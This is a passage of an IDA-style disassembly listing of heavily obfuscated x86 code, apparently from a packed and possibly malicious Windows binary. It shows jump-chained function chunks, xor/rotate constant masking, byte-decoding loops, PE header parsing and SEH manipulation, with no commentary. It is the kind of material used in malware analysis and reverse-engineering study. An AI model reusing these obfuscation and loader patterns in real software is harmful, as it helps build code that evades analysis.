; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40DAB0:				; CODE XREF: sub_409726+19A6j
		cdq
		jb	loc_40FF37
		xchg	ebx, esi


loc_40DAB9:				; CODE XREF: sub_40A259:loc_40DA30j
		call	sub_40CEFE
		jmp	loc_40ACFA
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------

locret_40DAC3:				; CODE XREF: o45kw3t9:loc_40C3BEj
		retn
; ---------------------------------------------------------------------------


loc_40DAC4:				; CODE XREF: o45kw3t9:0040D003j
		jmp	loc_40A867
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E786


loc_40DAC9:				; CODE XREF: sub_40E786-245Ej
		jmp	loc_4101AB
; END OF FUNCTION CHUNK	FOR sub_40E786
; ---------------------------------------------------------------------------


loc_40DACE:				; CODE XREF: o45kw3t9:0040AF4Fj
		jmp	loc_40C82C
; ---------------------------------------------------------------------------


loc_40DAD3:				; CODE XREF: o45kw3t9:0040AAEBj
		jmp	loc_40CD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409022


loc_40DAD8:				; CODE XREF: sub_409022:loc_409033j
		push	offset loc_40AFBD
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_409022
; ---------------------------------------------------------------------------
		xor	eax, 11DA7108h
		jmp	loc_40AEBA
; ---------------------------------------------------------------------------


loc_40DAED:				; CODE XREF: o45kw3t9:004091C6j
		xor	[ebp-0Ah], al
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-4]
		jmp	loc_40CA7F

; =============== S U B	R O U T	I N E =======================================



sub_40DAFB	proc near		; CODE XREF: sub_40B160:loc_40BA0Ep
		mov	eax, 44h
		retn
sub_40DAFB	endp

; ---------------------------------------------------------------------------


loc_40DB01:				; CODE XREF: o45kw3t9:loc_40C293j
		mov	[ebp-4], eax
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40DB04:				; CODE XREF: sub_40D740:loc_40E12Cj
		mov	eax, [ebp-4]
		mov	al, [eax]
		jno	loc_40EA5C
		sub	al, 99h
		push	0F7C8D392h
		pop	edx
		jmp	loc_40FD32
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40DB1C:				; CODE XREF: sub_40B76E:loc_409A87j
		pop	eax
		add	eax, 4CF1AE70h
		xchg	eax, [esp+4+var_4]
		jmp	sub_40CEFE
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B540


loc_40DB2B:				; CODE XREF: sub_40B540-232Aj
		add	eax, ebp
		add	eax, 0F42C8550h
		mov	eax, [eax]
		mov	[ebp-0Ch], eax
		jmp	loc_4090B4
; END OF FUNCTION CHUNK	FOR sub_40B540

; =============== S U B	R O U T	I N E =======================================



sub_40DB3D	proc near		; CODE XREF: sub_40A91Ap

; FUNCTION CHUNK AT 004096D5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00409C1D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040A917 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040BE40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E1BC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040E860 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040FED1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004101A0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004101F4 SIZE 00000005 BYTES

		push	791559FDh
		pop	eax
		add	eax, 872B75EBh
		mov	eax, [eax]
		jmp	loc_40E860
sub_40DB3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB50	proc near		; CODE XREF: o45kw3t9:0040D053p
					; sub_40D740+82j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0040BB5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CBC1 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0040D384 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FE60 SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		call	sub_40C696
		mov	eax, 17B3C1CFh
		call	sub_4090F8
		push	ecx
		jmp	loc_40D384
sub_40DB50	endp

; ---------------------------------------------------------------------------


loc_40DB6A:				; DATA XREF: sub_40988C:loc_40FB88o
		jmp	loc_40B3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A3A2


loc_40DB6F:				; CODE XREF: sub_40A3A2:loc_40A192j
					; sub_40988C+531Cj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40A3A2
; ---------------------------------------------------------------------------


loc_40DB72:				; CODE XREF: o45kw3t9:00409A63j
		jmp	loc_40CCDA
; ---------------------------------------------------------------------------
		js	loc_40DC9D
		push	ecx
		mov	[esp], ebp
		jmp	loc_4100B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40DB86:				; CODE XREF: sub_40D740:loc_40D991j
		add	eax, [ebp-4]
		add	eax, 5
		cmp	eax, ds:dword_40F1D8
		jz	loc_40D8D0
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_409600


loc_40DB98:				; CODE XREF: sub_409600+12j
					; sub_40B14E+7j
		push	offset sub_40FB9F
		jmp	nullsub_58
; END OF FUNCTION CHUNK	FOR sub_409600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DBA2	proc near		; CODE XREF: sub_409CFF+24j
		retn
sub_40DBA2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40DBA3:				; CODE XREF: sub_40AC2F+9j
		jmp	loc_40CAF9
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40DBA8:				; CODE XREF: sub_40EC83-4628j
		jmp	loc_40C10A
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------


loc_40DBAD:				; CODE XREF: o45kw3t9:loc_40A791j
		xchg	ecx, [esp]
		jmp	loc_40B70B
; ---------------------------------------------------------------------------


loc_40DBB5:				; CODE XREF: o45kw3t9:0040D4F6j
		jnz	loc_40C04C
; START	OF FUNCTION CHUNK FOR sub_40A416


loc_40DBBB:				; CODE XREF: sub_40A416+2864j
		jmp	loc_40F11E
; END OF FUNCTION CHUNK	FOR sub_40A416
; ---------------------------------------------------------------------------
		mov	ebx, 0C29B5621h
		jmp	loc_40C041
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409AD7


loc_40DBCA:				; CODE XREF: sub_409AD7:loc_409AE1j
		shr	esi, 0Ch
		adc	ecx, esi
		jmp	loc_40C4EA
; END OF FUNCTION CHUNK	FOR sub_409AD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D0CE


loc_40DBD4:				; CODE XREF: sub_40D0CE:loc_40FB3Aj
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		push	offset sub_40C2E1
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_40D0CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097FC


loc_40DBEC:				; CODE XREF: sub_4097FC+Aj
		dec	dword ptr [ebp-18h]
		jnz	loc_40A5E9
		jmp	loc_40A28D
; END OF FUNCTION CHUNK	FOR sub_4097FC
; ---------------------------------------------------------------------------
		sub	ecx, eax
		jmp	sub_40E677
; ---------------------------------------------------------------------------


loc_40DC01:				; CODE XREF: o45kw3t9:loc_40D05Dj
		xor	eax, 5BB65E48h
		rol	eax, 0Eh
		xor	eax, 39A00029h
		rol	eax, 2
		jmp	loc_4092F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40DC18:				; CODE XREF: sub_40B5CB:loc_40C568j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40C018
		jmp	loc_40BEB8
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
		mov	edi, 97F45AADh
		jmp	sub_40943A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8A6


loc_40DC30:				; CODE XREF: sub_40A8A6+1947j
		call	sub_40B017
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40A8A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40DC3C:				; CODE XREF: sub_40909E+3592j
		jmp	loc_4100AE
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40DC41:				; CODE XREF: sub_40B5CB+8F3j
		jmp	loc_40E987
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B88D


loc_40DC46:				; CODE XREF: sub_40B88D-22B7j
		jmp	loc_40B12D
; END OF FUNCTION CHUNK	FOR sub_40B88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40DC4B:				; CODE XREF: sub_40909E+7j
		jmp	loc_40CAB3
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------


loc_40DC50:				; CODE XREF: o45kw3t9:0040A862j
		jb	loc_40EB33
		shr	esi, 1Bh
		jmp	loc_410162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C5F3


loc_40DC5E:				; CODE XREF: sub_40C5F3:loc_40C654j
		jb	loc_40FD63
		add	eax, 28h
		mov	[ebp-4], eax
		call	sub_410253
; END OF FUNCTION CHUNK	FOR sub_40C5F3
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40DC6F:				; CODE XREF: sub_40939B+563Ej
		jmp	sub_40E211
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACAB


loc_40DC74:				; CODE XREF: sub_40ACAB+548Bj
		jg	loc_40E050
		ror	edi, 13h
		sbb	esi, ebx
		cmp	ecx, esi
		jmp	loc_40EB22
; END OF FUNCTION CHUNK	FOR sub_40ACAB
; ---------------------------------------------------------------------------


loc_40DC86:				; DATA XREF: sub_40A180:loc_40C955o
		jmp	sub_409416
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409925


loc_40DC8B:				; CODE XREF: sub_409925+11j
					; sub_40A180:loc_40C94Fj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_409925
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40DC8E:				; CODE XREF: sub_4091CB+4E2Dj
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_4091CB

; =============== S U B	R O U T	I N E =======================================



sub_40DC93	proc near		; CODE XREF: o45kw3t9:0040C702p
					; sub_41029D+6p
		call	sub_40FCF3
sub_40DC93	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40DC98:				; CODE XREF: sub_40FE86-F05j
		jmp	loc_409538
; END OF FUNCTION CHUNK	FOR sub_40FE86
; ---------------------------------------------------------------------------


loc_40DC9D:				; CODE XREF: o45kw3t9:0040DB77j
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		jmp	loc_409CA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40DCA8:				; CODE XREF: sub_40E0E0:loc_40FF13j
		call	sub_40C365
		cmp	eax, [ebp-8]
		jnz	loc_40C15D
		mov	eax, [ebp-14h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		jmp	loc_40E414
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40DCC4:				; CODE XREF: sub_40C674:loc_40F1B5j
		test	edi, 5CA420B8h
		jmp	loc_40F08C
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
		not	edx
		shl	esi, 1Bh
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40DCD4:				; CODE XREF: sub_40B3E5:loc_40C9C8j
		xor	eax, 45936248h
		add	eax, ebp
		add	eax, 57A09C3Fh
		mov	eax, [eax]
		push	esi
		mov	[esp+8+var_8], eax
		jmp	loc_40E6DE
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40DCEE	proc near		; CODE XREF: o45kw3t9:0040C0B1j
					; sub_40909E:loc_4100B3p

; FUNCTION CHUNK AT 00409914 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00409AFA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A3DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E752 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040EB09 SIZE 00000029 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	ebp, esp


loc_40DCF4:				; CODE XREF: o45kw3t9:00409C2Dj
		pushf
		mov	[esp+0], ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jmp	loc_40E752
sub_40DCEE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40DD05:				; CODE XREF: sub_40EC83:loc_40DFD7j
		call	sub_409F42
		test	al, al
		jz	loc_40C3B0
		jmp	loc_40CA77
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40DD17:				; CODE XREF: sub_409FA8+36F8j
		jz	loc_40C955
		push	91D7F72Dh
		pop	eax
		or	eax, 0A6187A52h
		jmp	loc_40B2DF
; END OF FUNCTION CHUNK	FOR sub_409FA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E98E


loc_40DD2E:				; CODE XREF: sub_40E98E-4470j
		and	ecx, ebp
		jmp	loc_40A68E
; END OF FUNCTION CHUNK	FOR sub_40E98E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40DD35:				; CODE XREF: sub_40D740+F8j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_40A85A
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409925


loc_40DD43:				; CODE XREF: sub_409925+17j
		jz	loc_40C955
		jmp	loc_40FAE3
; END OF FUNCTION CHUNK	FOR sub_409925
; ---------------------------------------------------------------------------
		or	ebx, [edx]


loc_40DD50:				; DATA XREF: sub_4090F8+5BB9o
					; sub_40B5CB+4538o
		mov	dh, 2Bh
		pushf
		jnb	short near ptr loc_40DDAB+3
		lea	ebx, [ecx+63645C19h]
		fadd	dword ptr [eax]
		push	offset sub_4097CD
		jmp	loc_409254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EABC


loc_40DD67:				; CODE XREF: sub_40EABC+Cj
		add	eax, 992E855Ah
		xor	eax, 0D4329F63h
		test	eax, 40000000h
		jmp	loc_40CB34
; END OF FUNCTION CHUNK	FOR sub_40EABC
; ---------------------------------------------------------------------------


loc_40DD7E:				; CODE XREF: o45kw3t9:0040B373j
		jnz	loc_40C5C1
		jmp	loc_409AE6
; ---------------------------------------------------------------------------


loc_40DD89:				; CODE XREF: o45kw3t9:0040A3D9j
		jno	loc_40CAF4

; =============== S U B	R O U T	I N E =======================================



sub_40DD8F	proc near		; CODE XREF: o45kw3t9:0040C711p

; FUNCTION CHUNK AT 0040E43C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F0BC SIZE 00000008 BYTES

		mov	[esp+0], edi
		pop	edi
		mov	ds:dword_407880+9, eax
		lea	eax, nullsub_11
		jmp	loc_40E43C
sub_40DD8F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40DDA4:				; DATA XREF: sub_40B1B3+48C7o
		cmp	ds:dword_40E534, 0


loc_40DDAB:				; CODE XREF: o45kw3t9:0040DD53j
		jnz	loc_40BB68
		call	sub_40A235
		mov	edx, 0E5254649h
		call	sub_40988C
		mov	ds:dword_40E534, eax
		jmp	loc_40BC00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B1B3


loc_40DDCA:				; CODE XREF: sub_40B1B3:loc_40FA74j
		cmp	ds:dword_40E534, 0
		jnz	loc_40BB68
		jmp	loc_40EF86
; END OF FUNCTION CHUNK	FOR sub_40B1B3

; =============== S U B	R O U T	I N E =======================================



sub_40DDDC	proc near		; CODE XREF: sub_40A7CF:loc_40A7D6p
					; o45kw3t9:0040BBA9j
		mov	[esp+0], edi
		pop	edi
		xchg	eax, esi
		push	esi
		jmp	loc_40D950
sub_40DDDC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DA15


loc_40DDE8:				; CODE XREF: sub_40DA15:loc_40A85Aj
		jz	loc_40A68E
		jmp	loc_40C28E
; END OF FUNCTION CHUNK	FOR sub_40DA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40DDF3:				; CODE XREF: sub_40988C+275Dj
		mov	ebp, [edx]
		and	eax, 12369D15h
		and	esi, 65256E4Eh
		jmp	loc_40BBAE
; END OF FUNCTION CHUNK	FOR sub_40988C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC98


loc_40DE06:				; CODE XREF: sub_40CC98:loc_40E377j
		push	0C76381Bh
		mov	edx, offset sub_40DE14
		xchg	edx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_40CC98

; =============== S U B	R O U T	I N E =======================================



sub_40DE14	proc near		; DATA XREF: sub_40CC98+1173o

; FUNCTION CHUNK AT 0040D3CB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040E2A4 SIZE 00000005 BYTES

		xor	edx, 701EFB84h
		sub	edx, 791B451Dh
		jmp	loc_40E2A4
sub_40DE14	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40DE25:				; CODE XREF: sub_409726:loc_40B386j
		push	0AC3F3646h
		pop	eax
		rol	eax, 16h
		add	eax, 9C5904B7h
		add	eax, ebp
		add	eax, 0D1FBEB74h
		jmp	loc_40CA72
; END OF FUNCTION CHUNK	FOR sub_409726
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A8E9


loc_40DE41:				; CODE XREF: sub_40A8E9:loc_40BE0Ej
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_409B0C
; END OF FUNCTION CHUNK	FOR sub_40A8E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40DE4E:				; CODE XREF: sub_40943A:loc_40AD68j
		xor	eax, eax
		jmp	loc_409F9E
; END OF FUNCTION CHUNK	FOR sub_40943A
; ---------------------------------------------------------------------------
		db 0E9h, 0FCh, 8Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AC2F


loc_40DE5A:				; CODE XREF: sub_40AC2F+1EDFj
		jmp	loc_40B074
; END OF FUNCTION CHUNK	FOR sub_40AC2F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	offset loc_40C0E9
		jmp	locret_40BFB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40DE6A:				; CODE XREF: sub_40B76E-1C6Cj
		push	eax
		call	sub_40A01C
		retn
; END OF FUNCTION CHUNK	FOR sub_40B76E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DE71	proc near		; DATA XREF: sub_40995E+372Do

; FUNCTION CHUNK AT 0040A4A6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040AEEA SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp


loc_40DE74:				; CODE XREF: sub_40A3A2:loc_40FB82j
		push	ecx
		call	sub_40CE7A


loc_40DE7A:				; CODE XREF: sub_40CC20+1DF4j
		jmp	loc_40A4A6
sub_40DE71	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40DE7F:				; CODE XREF: o45kw3t9:loc_409228j
		push	ecx
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	al, [eax]
		jno	loc_40B4E8
		sub	al, 99h
		mov	edx, [ebp-4]
		jmp	loc_40EF6B
; ---------------------------------------------------------------------------


loc_40DE98:				; DATA XREF: o45kw3t9:0040EC33o
		pop	edx
		push	eax
		mov	edx, 0FFFFFFFFh
		pushf
		mov	[esp], edx
		jmp	loc_40CB61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4092B8


loc_40DEA8:				; CODE XREF: sub_4092B8+277Aj
		jnp	loc_40FF1B
		jmp	loc_409A36
; END OF FUNCTION CHUNK	FOR sub_4092B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE92


loc_40DEB3:				; CODE XREF: sub_40FE92+2j
		push	offset sub_410069
		jmp	nullsub_139
; END OF FUNCTION CHUNK	FOR sub_40FE92
; ---------------------------------------------------------------------------
		shl	esi, 15h
		sbb	edi, ecx
		jmp	sub_4102EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410069


loc_40DEC7:				; CODE XREF: sub_410069:loc_40AB09j
					; o45kw3t9:0040ED4Bj
		or	ebp, 0F8891EBDh
; END OF FUNCTION CHUNK	FOR sub_410069

; =============== S U B	R O U T	I N E =======================================



sub_40DECD	proc near		; CODE XREF: o45kw3t9:00410282p
		xchg	ebx, [esp+0]
		pop	ebx
		cmp	dword ptr [ebp-8], 0
		jz	loc_4094A4
		jmp	loc_40D94B
sub_40DECD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCC


loc_40DEE0:				; CODE XREF: sub_409CCC+8j
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	0B579A7B1h
		pop	edi
		xor	edi, ds:4000B4h
		jmp	loc_40C003
; END OF FUNCTION CHUNK	FOR sub_409CCC
; ---------------------------------------------------------------------------


loc_40DEF7:				; CODE XREF: o45kw3t9:0040B71Aj
		jnz	loc_40E5B0
		and	ebx, 3159B509h
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40DF03:				; CODE XREF: sub_40D740:loc_40FA17j
		add	edx, 21F66343h
		xor	edx, 27F3FD06h
		add	edx, ebp
		jmp	loc_40FAA1
; END OF FUNCTION CHUNK	FOR sub_40D740
; ---------------------------------------------------------------------------
		jb	loc_4098FA
		jmp	loc_40D345
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A447


loc_40DF21:				; CODE XREF: sub_40A447:loc_40D108j
					; o45kw3t9:loc_40E078j
		jz	loc_409435
		jmp	loc_40D982
; END OF FUNCTION CHUNK	FOR sub_40A447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40DF2C:				; CODE XREF: sub_40B76E:loc_40BAB9j
		xchg	edi, [esp+20h+var_20]
		mov	esi, edi
		pop	edi
		or	esi, 403D2DDDh
		jmp	loc_40BA18
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ABFA


loc_40DF3D:				; CODE XREF: sub_40ABFA-B2Dj
		test	byte ptr [eax-10h], 38h
		jnz	loc_40ED0B
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		setz	al


loc_40DF58:				; CODE XREF: sub_40AD7A:loc_40C3F9j
		jmp	loc_40CC7F
; END OF FUNCTION CHUNK	FOR sub_40ABFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40DF5D:				; CODE XREF: sub_40D740:loc_409902j
		add	esi, 5FDB1229h
		or	esi, ds:4000B3h
		xor	esi, 290900CFh
		add	esi, ebp
		add	esi, 892880C2h
		mov	[esi], eax
		push	offset loc_40A53E
		jmp	nullsub_80
; END OF FUNCTION CHUNK	FOR sub_40D740
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40DF84:				; CODE XREF: sub_40928F+2E76j
		jmp	loc_40CCFB
; END OF FUNCTION CHUNK	FOR sub_40928F
; ---------------------------------------------------------------------------

locret_40DF89:				; CODE XREF: o45kw3t9:0040E04Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D587


loc_40DF8A:				; CODE XREF: sub_40D587+9j
		jmp	loc_40BCE5
; END OF FUNCTION CHUNK	FOR sub_40D587
; ---------------------------------------------------------------------------


loc_40DF8F:				; CODE XREF: o45kw3t9:0040C186j
		jmp	locret_40B627
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3E5


loc_40DF94:				; CODE XREF: sub_40B3E5:loc_40FAF4j
		add	eax, [ebp-4]
		push	edi
		push	offset sub_409022
		jmp	loc_40999C
; END OF FUNCTION CHUNK	FOR sub_40B3E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE86


loc_40DFA2:				; CODE XREF: sub_40FE86-56C2j
		ror	eax, 5
		call	sub_40E650
; END OF FUNCTION CHUNK	FOR sub_40FE86
; START	OF FUNCTION CHUNK FOR sub_40B88D


loc_40DFAA:				; CODE XREF: sub_40B88D-759j
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40B88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AF55


loc_40DFAC:				; CODE XREF: sub_40AF55+3F6Fj
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_40AF55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097FC


loc_40DFB1:				; CODE XREF: sub_4097FC+5648j
		jmp	loc_40AB27
; END OF FUNCTION CHUNK	FOR sub_4097FC
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_40DFB9:				; CODE XREF: o45kw3t9:0040E6F2j
		push	ecx
		mov	[ebp-4], eax
		jmp	loc_40A7FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410069


loc_40DFC2:				; CODE XREF: sub_410069:loc_40E977j
		jnz	loc_40AB0F
		jmp	loc_4092D1
; END OF FUNCTION CHUNK	FOR sub_410069
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0F3


loc_40DFCD:				; CODE XREF: sub_40B0F3:loc_40A570j
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_40B0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40DFD7:				; CODE XREF: o45kw3t9:0040A8D4j
					; sub_40EC83:loc_40E90Fj
		jmp	loc_40DD05
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------


loc_40DFDC:				; DATA XREF: sub_40C8E8+4o
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_40C7AF


loc_40DFDE:				; CODE XREF: sub_40C7AF:loc_40FC79j
		pop	large dword ptr	fs:0
		jmp	loc_409E2E
; END OF FUNCTION CHUNK	FOR sub_40C7AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40DFEA:				; CODE XREF: sub_40D740-BF5j
		adc	ecx, 876C7670h
		rol	eax, 1Ch
; END OF FUNCTION CHUNK	FOR sub_40D740
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40DFF3:				; CODE XREF: sub_4091CB+1119j
					; o45kw3t9:loc_40B71Fj	...
		push	offset loc_40A591
		jmp	loc_40DC8E
; END OF FUNCTION CHUNK	FOR sub_4091CB

; =============== S U B	R O U T	I N E =======================================



sub_40DFFD	proc near		; CODE XREF: o45kw3t9:0040CC64p
					; o45kw3t9:0040FA4Cj

; FUNCTION CHUNK AT 0040D2E6 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0040E8D8 SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		push	ebx
		push	73590616h
		jmp	loc_40E8D8
sub_40DFFD	endp

; ---------------------------------------------------------------------------
		mov	edi, [esi]
		jmp	sub_40B43C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40E014	proc near		; DATA XREF: sub_40D740-3FCCo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00409AEB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B40F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040B874 SIZE 00000005 BYTES
